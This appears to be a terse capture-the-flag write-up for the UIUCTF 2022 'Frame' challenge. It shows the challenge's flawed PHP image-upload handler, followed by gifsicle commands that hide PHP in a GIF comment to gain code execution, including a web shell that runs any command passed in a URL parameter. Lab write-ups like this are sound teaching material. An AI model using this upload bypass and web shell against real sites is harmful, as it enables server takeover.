UIUCTF 2022
Frame

Analysis
Exploit
First way



Firstway but easier ~

Last updated





Last updated
<?php
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);
if (isset($_POST["submit"])) {
$allowed_extensions = array(".jpg", ".jpeg", ".png", ".gif");
$filename = $_FILES["fileToUpload"]["name"];
$tmpname = $_FILES["fileToUpload"]["tmp_name"];
$target_file = "uploads/" . bin2hex(random_bytes(8)) . "-" .basename($filename);
$has_extension = false;
foreach ($allowed_extensions as $extension) {
if (strpos(strtolower($filename), $extension) !== false) {
$has_extension = true;
}
}
if ($_FILES["fileToUpload"]["size"] < 2000000) {
if (getimagesize($tmpname) && $has_extension) {
if (move_uploaded_file($tmpname, $target_file)) {
echo "<div id='frame'><img src='$target_file' alt='Your image failed to load :(' id='submission'></div>";
} else {
echo "There was an error uploading your file. Please contact an admin.";
}
} else {
echo "Your picture is not a picture and could not be framed.";
}
} else {
echo "Your picture is too large for us to process.";
}
}
?>gifsicle < frame-1.gif --comment "<?php system('id'); ?>" > output.php.gifgifsicle < frame-1.gif --comment "<?php system('ls /'); ?>" > output.php.gifgifsicle < frame-1.gif --comment "<?php system('cd / && cat flag'); ?>" > output.php.gifgifsicle < frame-1.gif --comment '<?php echo system($_GET["command"]); ?>' > output.php.gif